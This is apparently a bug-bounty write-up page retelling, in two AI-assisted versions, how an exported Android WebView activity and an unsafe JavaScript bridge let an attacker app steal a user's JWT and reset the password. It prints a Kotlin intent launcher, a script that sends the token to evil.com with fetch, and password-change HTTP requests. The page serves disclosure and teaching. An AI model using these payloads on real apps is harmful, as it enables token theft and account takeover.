Skip to content
Account takeover Write-up Intermediate

WebView XSS, account takeover

An exported WebView activity accepted an attacker-controlled URL and exposed a JavaScript interface that returned the user's access token. An attacker could steal the token and use it to change the victim's password, leading to account takeover.

shafou Follow

Published on shafouz.medium.com

Bounty$2,500 View original

I have been hunting on this one private program for about 6 months. Some time ago i decided to learn how to test mobile apps.

shafou, on shafouz.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

This is a write-up from a private bug bounty program that the researcher had been working on for about six months. The target is an Android application, and the feature at the centre of the report is a WebView activity that handles deep links. Normally such an activity takes a URL from an incoming intent and loads it inside an embedded browser (a WebView), so that links into the app open in an in-app view rather than an external browser.

That WebView is not a plain browser: the app registers a JavaScript interface on it, which exposes native methods to any JavaScript running in the page. One of those methods returns the user's access token. The combination of an exported activity, an attacker-controlled URL and a JavaScript bridge is what makes the finding interesting.

Setup

The researcher had been testing mobile apps for a while and approached this one by decompiling the Java bytecode and reviewing the code. The report notes the usual limitation of this approach: obfuscated or optimised code is harder to read, though most of the time it works well, and tools such as Enigma can help clean it up. No specific app version, Android version or device is given.

The attack requires the victim to have the app installed and the attacker to run their own Android app on the same device.

Finding it

When testing Android apps, the researcher looks first at exported activities. In this app, one of the WebView activities was exported:

XML
<activity android:exported="true" android:name=".WebViewDeepLinkHandlerActivity"/>

Because it is exported, any other app on the device can start it. The activity in turn called a WebViewFragment, and that fragment implemented a JavaScript interface. The relevant code looked like this:

Java
static final void getToken(String str) {    String accessToken = AccountManager.getAccessToken();    String str2 = accessToken;    if (accessToken == null) {        str2 = "";    }    baseJavascriptAccessor.evaluateCallbackJs(getEnvCallbackData$default(baseJavascriptAccessor, str2, 0, 2, null), str, baseJavascriptAccessor.webView);}    static final void evaluateCallbackJs(JsCallbackData jsCallbackData, String str, WebView webView) {    String str2;    if (str != null) {        if (jsCallbackData != null) {            Gson gson = new Gson();            str2 = str + " (" + (!(gson instanceof Gson) ? gson.toJson(jsCallbackData) : GsonInstrumentation.toJson(gson, jsCallbackData)) + ')';        } else {            str2 = str + " ()";        }        if (webView != null) {            WebviewExtKt.postEvaluateJavaScript(webView, str2);        }    }}

What this code does is evaluate a string as JavaScript in the form:

JavaScript
attacker_controlled_string(JSON.stringify(jsCallback))

The caller-supplied string str is concatenated in front of the serialised callback data. If an attacker can reach this method, they can therefore call any JavaScript function they like, with the token as its argument.

Methods exposed through a JavaScript interface are reachable from the window object, for example window.Android.getToken("lalala"). The remaining obstacle is controlling the URL that the WebView loads. The exported activity allowed exactly that.

Exploitation

Step 1: launch the exported activity with an attacker-controlled URL

The attacker app builds an intent, sets the URL to https://evil.com, targets the exported activity by class name and starts it:

Kotlin
  fun startExportedActivity(view: View){        try {            val intent = Intent()            val uri = Uri.Builder()            val url = uri                .scheme("https")
                .authority("evil.com")
                .build()            intent.setClassName("com.app", ".WebViewDeepLinkHandlerActivity")            intent.data = url            startActivity(intent)        } catch (e: Exception) {            println("ERROR: $e")
            val toast: Toast = Toast.makeText(this, "something went wrong, check logcat", Toast.LENGTH_SHORT)            toast.show()        }    }

setClassName names the victim package and the exported activity, and intent.data carries the URL. The activity then opens evil.com inside its WebView, with the JavaScript interface attached.

Step 2: call the bridge from the attacker page

The page served at evil.com contains the following script:

HTML
<script> setTimeout(()=>{   window.Android.getToken('function ext(jwt){fetch(`https://evil.com/?jwt=${JSON.stringify(jwt)}`, {mode:"no-cors"})};ext') }, 5000)</script>

After a five second delay, the script calls window.Android.getToken with a string that defines a function ext and then evaluates to that function. Because of the concatenation in evaluateCallbackJs, the WebView evaluates the attacker string followed by the serialised token, so ext is invoked with the JWT as its argument. The function sends the token back to evil.com in a query string, using no-cors mode so the request is not blocked by CORS. The result is the victim's JWT token.

From the original on shafouz.medium.com

Step 3: use the token to take over the account

Earlier testing had found an endpoint that lets a user change their password without any kind of confirmation. The default request looked something like this:

HTTP
PATCH /api/customers HTTP/2Host: victim.comAuthorization: Bearer <JWT>{  "currentPassword": "password",  "newPassword": "newpassword",}

The endpoint only cared about the newPassword field, so the following request also worked:

HTTP
PATCH /api/customers HTTP/2Host: victim.comAuthorization: Bearer <JWT>{  "newPassword": "newpassword"}

With the stolen JWT in the Authorization header, the attacker sets a new password and gains full control of the victim account.

Root cause

The chain has two mistakes. First, WebViewDeepLinkHandlerActivity is exported, so any app on the device can start it and supply the URL that the WebView loads. Second, the JavaScript interface method getToken builds JavaScript by string concatenation, taking a caller-supplied string and appending the serialised callback data before passing the result to postEvaluateJavaScript. That turns a token getter into an arbitrary JavaScript execution primitive for whoever controls the page. The report does not describe any validation of the incoming URL or any restriction on which origins may use the bridge.

Impact

An attacker who can get a victim to install and run a malicious app on the same device can steal the victim's JWT and then use it to change the account password, resulting in full account takeover. The attack requires the victim to have the app installed and to run the attacker's app. The program rated the issue high severity and paid $2000 plus a $500 bonus. The researcher considered it critical personally but was content with the bonus.

Fix

The report does not state what the program changed. The changes that would address the chain are to stop exporting the activity, or to validate the URL it receives so that only trusted origins are loaded, and to stop building JavaScript by concatenating caller-controlled strings, for example by passing data as an argument rather than as code.

Variants to test

  1. Enumerate exported activities in a decompiled manifest and look for WebView activities that accept a URL through intent.data. A positive result is an activity you can start from your own app that loads a page you control.
  2. Look for addJavascriptInterface calls and inspect the exposed methods for string concatenation into evaluateJavascript or loadUrl("javascript:..."). A positive result is a method whose argument ends up as executable code.
  3. Test whether the bridge is reachable from any origin or only from allow-listed ones. A positive result is your page calling a bridge method successfully.
  4. Check password change and similar sensitive endpoints for missing currentPassword verification. A positive result is a successful change with only newPassword supplied.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A security researcher spent about six months testing a private bug bounty program. A bug bounty program is a scheme where a company invites independent researchers to look for security problems in its products and pays them for reporting what they find. During that time the researcher decided to learn how to test mobile apps, and this report is about an Android app from that program.

Android apps are interesting to test because the code that ships inside them can be unpacked and read. An Android app is distributed as a package file, and the compiled code inside it can be turned back into something close to readable source code. That lets a researcher read the app's logic the way you would read a book, rather than just poking at it from the outside. The report notes one limitation: sometimes the code is obfuscated or optimised, which makes it harder to read. Most of the time, though, the approach works well, and tools such as Enigma can help clean up obfuscated code.

The researcher found a chain involving an exported activity and a JavaScript bridge. The first was that one of the app's screens, the one that shows web pages inside the app, could be opened by any other app on the same phone. The second was that the fragment behind this screen implemented a JavaScript interface exposing a method that returns the user's access token. An access token is a long string that proves who you are, a bit like a wristband you get at an event: show it and the door opens, no password needed. Put together, a malicious app could open that screen pointing at a page the attacker controls, the page could ask for the token, and the token could be sent back to the attacker.

With that token, the researcher could act as the victim. Earlier in the engagement they had found a password change request that did not check the user's current password, so the stolen token was enough to set a new password and take over the account completely. The program paid $2000 plus a $500 bonus and rated the issue high severity. The researcher personally thought it was critical but was happy with the bonus.

Background: the pieces involved

Before walking through the attack, it helps to know what a few of the moving parts are.

Apps talking to each other

On Android, apps are isolated from each other by design. One app cannot normally reach inside another. But apps do need to cooperate sometimes, for example when you tap a link and it opens in a different app. Android handles this with a concept called an intent. An intent is a message one app sends to ask another app to do something, such as open a screen or handle a link. The report links to the official Android documentation for intents, which describes them as the way apps on Android communicate with each other.

An app can declare that one of its screens (called an activity) is exported. Exported means other apps are allowed to start that screen. If a screen is not exported, only its own app can open it. Exporting is sometimes necessary, for example for a screen that should open when someone taps a link, but it also means any app on the phone can trigger it.

WebView: a browser inside an app

Many apps need to show web content without sending the user out to a separate browser. They do this with a WebView, which the report describes as an embeddable browser with limited features. Think of it as a small browser window that lives inside the app, so the user never leaves the app.

A WebView can be given extra powers through a JavaScript interface (also called a JavaScript bridge). Normally a web page running in a browser is sandboxed: it can do web things but cannot touch the phone's files, accounts or other apps. A JavaScript interface deliberately punches a hole in that wall. The app registers an object, and any JavaScript running in the page can call methods on that object. Those methods run native app code with the app's own permissions. This is useful when a page needs something only the app can provide, but it also means that whoever controls the page can call those methods.

Tokens and APIs

An API (application programming interface) is a defined way for one piece of software to ask another to do something. When you use a website or app and it shows your profile, saves a change or logs you in, it is usually talking to an API behind the scenes. Requests to an API carry data in a structured format, often JSON, which is a way of writing data as labelled fields, like {"name": "value"}.

When you log in, the server usually gives your client a token. Instead of sending your password with every request, the client sends the token in a header, a small piece of metadata attached to the request. A common pattern is an Authorization header containing the word Bearer followed by the token. Anyone who has the token can make requests as you until it expires or is revoked. That is why stealing a token is serious: it is equivalent to stealing a logged-in session.

The vulnerability class

This report combines two well-known problems. The first is an improperly exported Android component: a screen that should have been private was open to any app. The second is WebView XSS. Here the code is JavaScript, and the browser is the WebView inside the app. When the two are combined, the result is that an attacker's page runs attacker's JavaScript with access to the app's JavaScript bridge, and through it the user's token.

The analysis: reading the app's code

When testing Android apps, the researcher's habit is to start with exported activities. The reasoning is simple: an exported activity is a door that any app on the phone can knock on, so it is worth checking what happens when someone knocks. In this app, one of the WebView activities was exported:

XML
<activity android:exported="true" android:name=".WebViewDeepLinkHandlerActivity"/>

This is a snippet from the app's manifest, the file that declares what the app contains and what it allows. Line by line:

  • <activity ... /> declares one screen of the app.
  • android:exported="true" says other apps are allowed to start this screen. This is the first mistake.
  • android:name=".WebViewDeepLinkHandlerActivity" is the screen's name. The leading dot means it lives in the app's own package. The name suggests it handles deep links, which are links that open a specific place inside an app rather than a website.

Because the activity is exported, any other app on the device can start it. The activity in turn called a WebViewFragment, and that fragment implemented a JavaScript interface. A fragment is a reusable piece of a screen; the important part is that the fragment set up the bridge. The relevant code looked like this:

Java
static final void getToken(String str) {    String accessToken = AccountManager.getAccessToken();    String str2 = accessToken;    if (accessToken == null) {        str2 = "";
    }    baseJavascriptAccessor.evaluateCallbackJs(getEnvCallbackData$default(baseJavascriptAccessor, str2, 0, 2, null), str, baseJavascriptAccessor.webView);}    static final void evaluateCallbackJs(JsCallbackData jsCallbackData, String str, WebView webView) {    String str2;    if (str != null) {        if (jsCallbackData != null) {            Gson gson = new Gson();            str2 = str + " (" + (!(gson instanceof Gson) ? gson.toJson(jsCallbackData) : GsonInstrumentation.toJson(gson, jsCallbackData)) + ')';        } else {            str2 = str + " ()";        }        if (webView != null) {            WebviewExtKt.postEvaluateJavaScript(webView, str2);        }    }}

This is Java, the language Android apps are traditionally written in. It is dense, so let us take it in pieces.

getToken(String str) is the method exposed to the web page through the bridge. Its job is to hand the access token back to the page. It takes one argument, str, which is a string supplied by whoever calls it, meaning the page's JavaScript.

Inside, it fetches the token with AccountManager.getAccessToken(). If the token is null (the user is not logged in), it substitutes an empty string so the rest of the code has something to work with.

Then it calls evaluateCallbackJs, passing along the token wrapped in a data object, the caller's str, and the WebView itself.

evaluateCallbackJs is where the problem lives. It takes the caller's string str and the token data, converts the token data to JSON text using a library called Gson, and glues the two together:

Finally it passes that combined string to postEvaluateJavaScript(webView, str2), which tells the WebView to run the string as JavaScript.

So the app is not just returning the token as data. It is building a piece of JavaScript source code out of the caller's string and the token, and then executing it. In effect, the WebView evaluates:

JavaScript
attacker_controlled_string(JSON.stringify(jsCallback))

Read that as a sentence: whatever the caller put in str becomes the name of a function, and the token is passed to that function as its argument. If the caller can choose str, the caller can choose which function gets called with the token. That is the second mistake: a token getter has been turned into a way to run arbitrary JavaScript.

Methods exposed through a JavaScript interface are reachable from the window object in the page, for example window.Android.getToken("lalala"). window is the global object in a browser page; anything attached to it can be called from any script on the page. So the remaining obstacle is controlling the URL that the WebView loads. If the attacker's page is loaded in that WebView, the attacker's JavaScript can call the bridge. The exported activity allowed exactly that.

Exploitation

Step 1: launch the exported activity with an attacker-controlled URL

The attacker app builds an intent, sets the URL to https://evil.com, targets the exported activity by class name and starts it:

Kotlin
  fun startExportedActivity(view: View){        try {            val intent = Intent()            val uri = Uri.Builder()            val url = uri                .scheme("https")
                .authority("evil.com")
                .build()            intent.setClassName("com.app", ".WebViewDeepLinkHandlerActivity")            intent.data = url            startActivity(intent)        } catch (e: Exception) {            println("ERROR: $e")
            val toast: Toast = Toast.makeText(this, "something went wrong, check logcat", Toast.LENGTH_SHORT)            toast.show()        }    }

This is Kotlin, the other common language for Android apps. Line by line:

  • fun startExportedActivity(view: View) declares a function, presumably wired to a button in the attacker's app. The view parameter is the button that was tapped.
  • try { ... } catch (e: Exception) { ... } wraps the work so that any error is caught rather than crashing the app.
  • val intent = Intent() creates a new, empty intent, the message that will be sent to the other app.
  • val uri = Uri.Builder() starts building a URL piece by piece.
  • .scheme("https") sets the protocol to HTTPS.
  • .authority("evil.com") sets the host to evil.com, a domain the attacker controls.
  • .build() finishes the URL, giving https://evil.com.
  • intent.setClassName("com.app", ".WebViewDeepLinkHandlerActivity") addresses the intent at the victim app's package (com.app) and the exported activity inside it. This is the line that only works because the activity is exported.
  • intent.data = url attaches the attacker's URL to the intent as its data. This is the URL the activity is expected to open.
  • startActivity(intent) sends the intent. Android delivers it to the victim app, which starts the exported activity.
  • The catch block prints the error and shows a short pop-up message telling the tester to check logcat, Android's system log, if something went wrong.

The activity then opens evil.com inside its WebView, with the JavaScript interface attached. The attacker now has their own page running inside the victim app, with the bridge available.

Step 2: call the bridge from the attacker page

The page served at evil.com contains the following script:

HTML
<script> setTimeout(()=>{   window.Android.getToken('function ext(jwt){fetch(`https://evil.com/?jwt=${JSON.stringify(jwt)}`, {mode:"no-cors"})};ext') }, 5000)</script>

This is HTML with a script inside. Line by line:

  • <script> ... </script> marks the block as JavaScript that the browser (here, the WebView) should run.
  • setTimeout(() => { ... }, 5000) waits 5000 milliseconds, five seconds, before running the function inside. The script waits five seconds before calling the bridge method.
  • window.Android.getToken(...) calls the bridge method. window.Android is the object the app registered; getToken is the method we saw in the Java code.
  • The argument is a string: 'function ext(jwt){fetch(https://evil.com/?jwt=${JSON.stringify(jwt)}, {mode:"no-cors"})};ext'. This string defines a function called ext that takes one argument, jwt, and sends it to https://evil.com/?jwt=... using fetch, the browser's way of making an HTTP request. The ${JSON.stringify(jwt)} part inserts the token into the URL. The {mode:"no-cors"} option tells the browser not to block the request for cross-origin reasons; the response is not read, only the request is sent. The string ends with ;ext, which makes the whole thing evaluate to the function ext itself.

Now recall what the app does with that string. It builds str + " (" + json + ")" and evaluates it. With the attacker's string in place, the WebView runs:

In words: define ext, then immediately call ext with the token data as its argument. ext sends the token to the attacker. The result is the victim's JWT token.

From the original on shafouz.medium.com

Step 3: use the token to take over the account

Earlier testing had found an endpoint that lets a user change their password without any kind of confirmation. An endpoint is a specific address on a server that accepts a particular kind of request. The default request looked something like this:

HTTP
PATCH /api/customers HTTP/2Host: victim.comAuthorization: Bearer <JWT>{  "currentPassword": "password",  "newPassword": "newpassword",}

This is an HTTP request, the format a browser or app uses to talk to a server. Line by line:

  • PATCH /api/customers HTTP/2 is the request line. PATCH is the method, used to update part of a resource. /api/customers is the endpoint. HTTP/2 is the protocol version.
  • Host: victim.com says which server the request is for.
  • Authorization: Bearer <JWT> carries the token. <JWT> is a placeholder for the stolen token. A JWT is a JSON Web Token, a common token format that packs the user's identity into a signed string.
  • The blank line separates headers from the body.
  • The body is JSON with two fields: currentPassword and newPassword. The intent of the design is that you must prove you know the current password before setting a new one.

The endpoint only cared about the newPassword field, so the following request also worked:

HTTP
PATCH /api/customers HTTP/2Host: victim.comAuthorization: Bearer <JWT>{  "newPassword": "newpassword"}

This is the same request with currentPassword removed. The endpoint only cared about the newPassword field, so the request without currentPassword also worked. With the stolen JWT in the Authorization header, the attacker sets a new password and gains full control of the victim account.

Why it worked

The chain has two mistakes. First, WebViewDeepLinkHandlerActivity is exported, so any app on the device can start it and supply the URL that the WebView loads. Second, the JavaScript interface method getToken builds JavaScript by string concatenation, taking a caller-supplied string and appending the serialised callback data before passing the result to postEvaluateJavaScript. That turns a token getter into an arbitrary JavaScript execution primitive for whoever controls the page. The report does not describe any validation of the incoming URL or any restriction on which origins may use the bridge.

Impact

An attacker who can get a victim to install and run a malicious app on the same device can steal the victim's JWT and then use it to change the account password, resulting in full account takeover. The attack requires the victim to have the app installed and to run the attacker's app. The program rated the issue high severity and paid $2000 plus a $500 bonus. The researcher considered it critical personally but was content with the bonus.

Fix

The report does not state what the program changed. The changes that would address the chain are to stop exporting the activity, or to validate the URL it receives so that only trusted origins are loaded, and to stop building JavaScript by concatenating caller-controlled strings, for example by passing data as an argument rather than as code.

Variants to test

  1. Enumerate exported activities in a decompiled manifest and look for WebView activities that accept a URL through intent.data. A positive result is an activity you can start from your own app that loads a page you control.
  2. Look for addJavascriptInterface calls and inspect the exposed methods for string concatenation into evaluateJavascript or loadUrl("javascript:..."). A positive result is a method whose argument ends up as executable code.
  3. Test whether the bridge is reachable from any origin or only from allow-listed ones. A positive result is your page calling a bridge method successfully.
  4. Check password change and similar sensitive endpoints for missing currentPassword verification. A positive result is a successful change with only newPassword supplied.

Glossary

  • Activity: a single screen in an Android app, such as a login screen or a settings page.
  • Android manifest: the file inside an Android app that declares its components and what they are allowed to do.
  • API: a defined way for one piece of software to ask another to do something.
  • Bug bounty program: a scheme where a company pays independent researchers for reporting security problems.
  • CORS: a browser rule that normally stops a page on one site from reading responses from another site; no-cors mode sends the request without reading the response.
  • Deep link: a link that opens a specific place inside an app rather than a website.
  • Endpoint: a specific address on a server that accepts a particular kind of request.
  • Exported activity: an Android screen that other apps on the device are allowed to start.
  • Fragment: a reusable piece of an Android screen.
  • Gson: a Java library for converting objects to and from JSON text.
  • Header: a small piece of metadata attached to an HTTP request or response, such as Authorization.
  • HTTP: the protocol browsers and apps use to talk to servers.
  • Intent: the message one Android app sends to ask another app to do something.
  • JavaScript interface (bridge): a mechanism that lets JavaScript in a WebView call native methods in the app.
  • JSON: a text format for writing data as labelled fields, like {"name": "value"}.
  • JWT: JSON Web Token, a common token format that packs the user's identity into a signed string.
  • Kotlin: a programming language commonly used for Android apps.
  • Obfuscation: deliberately scrambling code names to make code harder to read.
  • Token: a string that proves who you are, sent with requests instead of a password.
  • WebView: an embeddable browser inside an app.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.